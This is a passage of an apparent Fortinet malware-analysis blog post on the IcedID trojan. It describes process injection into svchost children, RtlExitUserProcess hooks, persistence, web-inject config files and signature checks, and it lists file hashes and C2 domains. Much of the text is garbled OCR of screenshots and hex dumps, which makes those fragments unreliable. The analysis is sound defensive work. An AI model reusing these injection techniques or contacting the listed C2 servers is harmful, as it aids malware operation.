s 00000050 00 00 7% 10 00 OF 00 18 00 00 04 00 10 00 00 OO ..y.. e
0000 Image 00000060 ed 00 00 T8 28 OO 00 00 ef OO0 OO Z0 00 20 01 OO0 ...
Coc 7 TOA000 Image 000000T O0 32 00 00 T9 O OL 00 00 32 OO0 OO0 04 00 L0 00 .2.. 308
CeeF 7330 Image COODOOED 00 Sz 01 00 OO0 4% 30 61 30 B2 30 85 30 a4 30 b hlid
O TG00 Haggsd GOOCOOPe 30 &0 30 <& 30 £T 30 03 31 00 31 Oe 31 Js 31 47 O 2048
CoeFifbO000 Hagped 0000000 31 4d 31 T£ 31 $4 31 9 31 ca 31 20 32 Za 32 5 1 68 B
4000 Private cOGo0dbe 33 70 3% 75 33 &3 32 B9 3% a5 32 aa 32 bE 32 of 2 g
200 000000l 32 da 32 df 32 &6 32 £8 32 00 33 O 33 1b 33 22 2.2.2.2.2.3.3.
cu: Ih " CO00000dD 33 34 33 34 33 42 33 S 33 67 33 To 33 Bb 33 a6 343=3B3_3g3
CuPHAIO00 st (000008l 33 ad 33 BA 33 Sc 33 45 33 ec 33 £7 33 O0b 34 1e 3.3.3,3.3.3.3.4.
Con PiFeaH) Prbvate OOODOOLD 34 44 34 da 34 68 34 70 34 b 34 52 34 Ba 34 bd 4DEJ4hdpd (4 4.4 Ll
GOGDOA00 34 de 34 Sa 35 S 35 65 35 6£ 35 TH 35 B0 35 Sb 4.47%5_Sedod
00000110 35 al 35 BE 35 BB 35 &6 35 45 35 &4 35 £5 35 ff 5.5.5.5
0OO001ZE 3% 03 36 13 3& la 36 27 36 35 3& Se 36 99 36 54 L.6.8
00000130 36 aT 36 ad 36 B 36 <0 36 o6 36 cb 36 db 36 feo 6.6.6, -
Re-read Wite || Goboo. | 16bytes periow - Save...

Figure 20. Injected svchost.exe child process 2

The hooked RtlExitUserProcess in child process 2 is shown below. When the RtlExitUserProcess function is

called, it jumps to 0x21E0A (offset:0x1E0A) to execute the payload.

- - - — - - - - .
m svchost.exe - PID: 1608 - Module: ntdlldll - Thread: 1328 - x32dbg
- == S - - e, = == —— - —_— =)
File Wiew Debug Trace Plusgins Fawvourites Options Help Jun 19 2019

SELIEIBREEEATIEEYN FATTSIZNT Y K

& cu .’E'aphll_jl.og|_,'_'m| ® Breakpaints -wm[gmm|qm|ﬂm|gm|<>m
|| 7714E128 A E9 DA3CEDSES

* RtIExitUserfrocess
. FF14E130 33 3

* || 7714E131 56 push esi

s || 7714E132 57 push edi

. 'T14E133 ba 00 push 0

= || 7714135 ES 82000000 ntd11.7714e18C

* || 7724€13A g 40731 Hinoled REIED8 scass In svehost.esss

s || 7714E13s 57 o fog] ﬁ “ z

» || 7714E140 ES SBOGFEFF call <ntdl].RtlEnterCriticalSection>

Figure 21. Hooked RtlExitUserProcess in svchost.exe child process 2
3. encziczibce.dat(672440151cd67a20bccc5¢9f9f66f7d091098b0bd2a087eeac79af1f11bf3403)

This DAT config file is injected into the child process 3 like the following. There are three memory regions to be
injected into the child process 3. The first one is the injected code segment. The second one is a data segment

including several system API’s addresses and updated C2 server list. The third one is a data segment.

Page 12 of 16



https://www.fortinet.com /blog/threat-research/icedid-malware-analysis-part-two.html|

7 svchostane (3990) Properties — -

General | Statistics | Performance | Threads | Token | Modules| Memery | Environment | Handies | GPU | Comment

e Injected svchost.exe chilld process S sovge.. || pae

B sk s Type Sire Protecion  Use Total WS Private WS Shareable WS Shared WS Locked WS i
110000 Mapped 64k8 RW Heap (1D 2) 448 48 Injected data segment including several system
Thivae T AW T qm] g » 2 o
- 1 (gl [}
Fm - Comen i i akn API's addresses and u_pdat ng C2 server list
0000 Mapped 16 k8 R 16 k8 1618 from G& RAT config file
D000 Happed 4K R 448 4 kB 4k
50000 Privie k8 R 418 4k
o000 Mapped 412K R C:\WindowsSystem 3 ocale.nls T MR T
D000 Private 256 k8 RW Stack (thread 3528) 448
[ T TO0HT T I RW By B
10000 Private; Commit Ak R 248 Injected code segment
i 11000 Privae: Comenit 56k8 R 56 k8
thl 1) Private; Commit 32 K8 RW 33 18
[4 3
e 000 Privvate: Commit 20 k8 RN 2018
| ™2 10000 Private 256 k8 R Stack (thread 3532) 12 18
380000 Prive " ——— —
P moge B svchostewe (3080} (0130000 - 0135000 | = o
oo rg 00000000 €& 20 00 OO OO OO OO 10 00 00 00 90 00 60 00 : b
T SA0000 Image c# 20 o - 2018
i ks s 00000010 56 18 00 00 18 30 OO 00 =4 43 00 00 00 50 00 = e
o 00000020 44 01 0O OO 04 OO OO 00 00 50 00 00 60 01 0O O =
OTSH0000 Tmage 00000030 68 00 00 00 60 01 O GO 04 00 10 00 00 60 18 s
| T POS0000 Imags 00000040 00 cf 01 OO 00 &0 18 00 0D 20 00 40 00 00 ad 40 id
TR0 Tenage Q0000050 00 00 28 la OO OO ab 06 00 00 04 00 30 00 00 30848
T FAB0000 Image Q0000060 OO0 00 00 cB 20 00 OO0 00 OO0 OO0 00 04 00 10 GO0 4ia
DFPEI0000 Happed A0900070 £4 00 00 00 25 30 1% 31 26 31 30 31 4F 31 54 ----%0.1&10101T1 M8
b THB0000 " Q0000080 €3 31 TT 31 BS 31 ce 31 £3 31 £c 31 19 32 Z2f 32 ilwl.1.1.1.1.2/2 &8 k8
H: Privat 00000090 34 32 3e 32 32 32 37 32 7d 32 89 32 fe 32 aa 32 AIGIRINZ}Z.2.2.2
OxTHU000 " 000000a0 af 32 dd 32 e% 32 f2 32 04 33 2e¢ 33 33 33 3d 33 .2.2.2.2.3
D7 000 Privite 000000k Eb 33 TO 33 Ta 33 55 33 a% 33 aa 33 bS
e MO0 Private 00000020 08 34 37 34 6a 34 70 34 57 34 a7 34 ¢l
O AHE0000 Private 00000040 da 34 e 34 00 35 3F 35 62 35 74 35 c& 448
Q00000e0 30 36 56 36 €b 3€ Fa 36 ac 3€ B3 3E d9
000000€0 03 37 la 37 3b 37 4a 37 84 37 85 37 4df
Q0000100 07 38 ST 38 €b 38 8% 38 bl 38 ba 38 df
Q0000110 Qe 3% 29 3% 51 3% 56 3% 72 3% a3 39 b6 3
00000120 00 3a 12 3a 4d 3a 85 Ja 4% Ja 48 Ja el
00000130 £7 3a fe 3a 03 3b 26 Jb 8f Ib &7 b £3 -
Re-read Wrile Golo.. | 16 bytes per row [

Figure 22. Injected svchost.exe child process 3

The hooked RtlExitUserProcess in child process 3 is shown below. When the RtlExitUserProcess function is

called, it jumps to 0x11168E(offset:0x168E) to execute the payload.

W% svchost.exe - PID: FEC - Module: ntdlLdll - Thread: E30 - x32dbg
g — - — O -

— — - — - P S — — =

[ Fle W e T — tes  Options  Help Jun 19 2019

comsutawy talo=slhis oL 9

¥
L]
Imlgm|gw]#m|nm -Menu'grﬂq:|u.ﬂl5m|q5£“]£’5aﬂ|ﬂ5ymbd5[<)5mnl:

+ |1 7714128 E9 SEI5FCEE REIExituserProcess ~
. 14130 push ebx

. 14131 56 push esi

S o o Hoolsd RiBdUserProcsss

S &x 00 v Hoolwsd in child procsss 3

. FT14E135 EE B2000000 €all nudl1.7714e1BC

. TT14E13A BF 40731c7T mov edi ,ntdl]. 771CT 340

& FT14E1 3 57 nich pddi

Figure 23. Hooked RtlExitUserProcess in svchost.exe child process 3

Regarding how these three child processes work internally, I will continue to analyze it in part III.

0x06 Persistent Payload And File Write Operations

We observed some file write operations like the following. It puts the persistent payload into a specific folder. And
it also puts seven .DAT config files into the folder “C:\ProgramData\cmrreaykdkq”. The sub-directory name might
differ in different compromised systems.

T of Dy Process Name PID Oparabon Faln Fiesun Datad

6:56:42 GBSG20 PM B svehast sn 2276 B witoFae C Program{iala (DGO 07260-4078 OF 30- J0ZB40ESAF D] BCOAANR6-DZn6 4021 O 34, 301440588 03 gobpnytsu anm Persistent paylowds Offsat: 0, Length: 308 224, Prority. Nomal
740140 SA56360 PM B svihost mon 2270 Bh WiloFie Al B R e SUCCESS Dftsal: 0, Langlh: 340, Prcrity. Nomal
70040 863780 PM 8 " svohost see amn WWiilnF e CProgramDial v cmraayhdiog kdbbg i s SUCCESS Offtsat 0, Lengih 2137, Proity. Noemal
10140 US54 PM B svehost s 2270 S WhiloF s C \Pogramialacmirambdiayagasht dal SUCCESS Offsal 0, Langth 250650, Prority Noimal
TOVAT S41A011 PM B svehost s 2270 B WnloFis ©Programalaicrroaykdiowislousoc dal — dat l:OI"Iﬂg files . SUCCESS Offsat 0, Langih 42 383 Prority. Nommatl
TO1A7 8745601 PM 8 svohost exe nn Wil e CProgramDalaommeaykdigencacabe dal SUCCESS Offset 0, Length 81 002 Pronty. Normat
T A7 760408 PM B sviost sne 2276 Bk whlaFie CProgramialacmredykdgugtsmes dal SUCCESS Offsel 0, Lagih 137 402, Praodity. Momal
70148 2080204 PM | svehost e 2276 Bk wiloFis C\ogramiialgcemaaykdigynngoshg: dal SUCLESS Dftsat: 0, Length. 270,630, Proity. Nomal

Figure 24. The file write operations of persistent payload and DAT config files
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The following table lists the detailed description of these DAT config files.

URL Parameter g | DAT file’s name | Size in bytes | Purpose

18 yxuvgoshcb.dat | 258,950 Web inject (Magic number “zeus”)
19 kdkdkqtfdb.dat | 2,137 Web inject (Magic number “zeus”)
20 alofykqgeb.dat | 340 Update C2 server list

33 encziczibc.dat 91,032 Inject code in child process 3

34 uvgbwwwijcc.dat | 137,402 Inject code in child process 2

36 wjalosuiec.dat 42,483

38 yxuvgoshgc.dat | 270,630 Inject code in child process 1

Table 1. The detailed description of DAT config files

0x07 Signature Verification

IcedID can do signature verification of the payload. It first decrypts the C2 server config file(alofykqgeb.dat) with

RC4 key (see “RC4 key generation algorithm” section). The decrypted data buffer is shown below. This buffer has

three parts. The first 8 bytes is the original RC4 key. The subsequent 0x80 bytes of data is the signature data to be

verified. The third part is the updated C2 server list.

Address

003F0330
003F0340
003F0350
003F 0360
003F0370
003F0380
003F 0390
003F03A0
003F03B0
003F03C0
003F0300
003F03ED
003F03F0
003F0400
003F0410
003F0420
003F04 30
003F0440
003F0450
003F0460
003F0470
003F 0480
003F 0490
003F04A0
003F0de0

Hiex
E[FC DD CB 5A AR
AM 3E €0 TB| 5E D4 AA 6A Ba B4 72
o4 45 44 E2| 7F AT 30 F Ba 56
4D 8B 52 BE| B9 C7 F6 DB 55 B7
oD 86 oC E2| 75 FG 9E IF 9F 08 28
84 Os EO F2| B2 BF 0B 95 BD DO DT
31 38 34 62|90 D4 5B BE F2 B6E 38
45 BF EB 39| 3a 51 1B 37|83 34 09 6A
92 6C 5F A2(BO OC D9 65/0c 74 6B 72
6C 2E 70 77|00 OE 73 61|75 64 69 65
WEWFW&G&EH
66 6F 72 73|79 BE 61 6E
2E 63 6F 6D| 00 11 BB 69| 70 70 G6F BE
6l 60 2E GF|72 67 00 OE( 63 68 61 72
2E 63 6C 75|62 00 OF 7O[ 61 72 65 BE
64 2E 69 63|75 00 13 6D| 65 63 6B 61
6F 75 73 2E[73 70 61 63|65 00 10 65
GE 67 65 73|74 73 2e TB[TO Ta 00 12
79 6C 61 74|65 72 2E 6F| BE 6C 69 BE
61 7 6C 73|62 61 64 65| GE GF 60 69
6F 70 00 OF| 77 61 67 65/6E 73 74 65
79 FA DD 0O[ 00 AE AE AE| AB AB AE AB
00 00 00 00| 00 00 00 00 0D A6 79 65
3 EE FE EE FE

Figure 25. Decrypt data in alofykqgeb.dat

Next, it decrypts the buffer of hard-coded RSA public key with XOR operation.

EF

ASCIT

T H..E.
aA{A0R5. % . ji.
GEDA. §0Ce. va 5a.
M.RX.CaB. 1. 25K §
V. Ufuo. 7=, . (Cfad
.. ab®, . . =XDlUeNoY
1;4b.0xXeon; . (q.
Eze9:0.7%4.§!..9
1. .0e. thracia
1.pw. .saudienter
-pw. . goodinzone.
at. . forsynanchyv
.com. . hipponexun
am.org. .chardiop
.club. .parenesse
d.icu. .mechanger
ous . space. .excha
ngests.xyz. .hydr
ylater.online. .c
arlsbadenomise. t
op. .wagenstead. x
¥Z. .. s=ecexzachip
e VYEW.
P@>. .a=, 1pibibib
-lzKz...B. .wile.
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hard-coded RSA public key
which is encrypted

3 2t

00 0
50 DE
B9 53

00 00

4
3

—— RSA public key

00 ®8 03] 3F 00 oc 00] 00 OO0

Figure 26. The hard-coded RSA public key which is encrypted and RSA public key

Then, it calls CryptVerifySignatureW function to verify the signature.

0004 2EE
00044 28F
0004290
000a4293

push edi
push edi
push EMD d ptr ssiebp-cl)

T
1

LI R

0004 2 ad

g

dword ptr [D00AS01C <&Cryptverifysignaturess]=<advapil?.Cryptverifysignaturess

00044 29E

0023FAsd
0023FAnB
2 IF AL
002 IFARD
002 IFABR4
0023FABS
002 3FABC
002 3FACD
002IFACY
0023FACE

.. saudienter

.. .goodinzone . mg‘;zrb‘%
DOIFOIED | © EH_H_E at. . forsynanchyw 002 IFand
DOIFDIFD Joom. . hipponexun 002 IFADS
DOZFO400 64 G0 6F 70| am.org. .chardiop 002 IEADC
DOIF0410 65 731 73 65| .club..parenesse

62 &7 65 72| d.4cu. . mechanger 0023FAED

g

2

g
IEREZERRERER

TE 63 B 61| cus.space. .excha ﬁ;;iz;
AR 68 70 64 7T | ngests, xyz. . hydre 002 IFAEC
GOIEO4 50 65 00 14 63| wlater.online..c 002 IEAFD
DOAFD GO 9 73 65 2E 74 | arlsbadenomize.t
0023Fard || 31415352
DOIFO4TD Q0000400

61 B4 26 78| op..wagenstead, x L_q 0023IFAFS

AB FE EE FE | ¥Z..,ezzsesaship

i ieasc (1 000100010

Figure 27. Call CryptVerifySignatureW function to verify the signature

0x08 Solution

This malicious PE file has been detected as “W32/Kryptik. GTSU!tr” by the FortiGuard AntiVirus service.

The C2 server list has been rated as “Malicious Websites” by the FortiGuard WebFilter service.

0x09 Conclusion
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We have walked through what the svchost.exe parent process does internally. It includes how IcedID
communicates with C2 server, RC4 key generation algorithm, the code injection process, what the multiple

threads do in detail, signature verification, etc.

In the next blog, I will provide a deep analysis of these three svchost.exe child processes.

Reference

SHA256

alofykqgeb.dat(00040d021a4813f11ba580ad76c669144ae787b8b93c6a3559¢6662301d3be72)
encziczibc.dat(672440151cd67a20bccc5c9f9f66£7d091098b0bd2a087eeac79af1f11b£f3403)
kdkdkqtfdb.dat(9bfb66621cf27f086f8db9e8761841fd0aff3a0a6348988324b408319639b9b8)
uvgbwwwijcc.dat(b1d9d9bb617463alcef665322949b29ad23ebfee2892908385b30cd739c163ce)
wijalosuiec.dat(29d47ddb05381dd591c77c5eee62236¢cfc7120b1719d6e40f29872e9¢9b53a0c)
yxuvgoshcb.dat(24818652fd0031b3a1626da35068ec868d8d3b9635cb011677188cf73bc3eb5a)
yxuvgoshgc.dat(748961aabd75b85ee602e5f6d70322b281930349fbc98ad5c638104a759ebalb)

C2 Server

albarthurst[.]pro
mozambiquest[.]pw
ransmittend].]club
summerch[.]xyz
ethracial[.]pw
saudienter[.]pw
goodinzonel.]at
forsynanchyv[.]Jcom
hipponexunam|.]org
chardiop[.]club
parenessed].]icu
mechangerous|.]space
exchangests|[.]xyz
hydrylater[.Jonline
carlsbadenomisel[.]top

wagenstead[.]xyz

Learn more about FortiGuard Labs and the FortiGuard Security Services portfolio. Sign up for our weekly
FortiGuard Threat Brief.

Read about the FortiGuard Security Rating Service, which provides security audits and best practices.

Source: https://www.fortinet.com/blog/threat-research/icedid-malware-analysis-part-two.html
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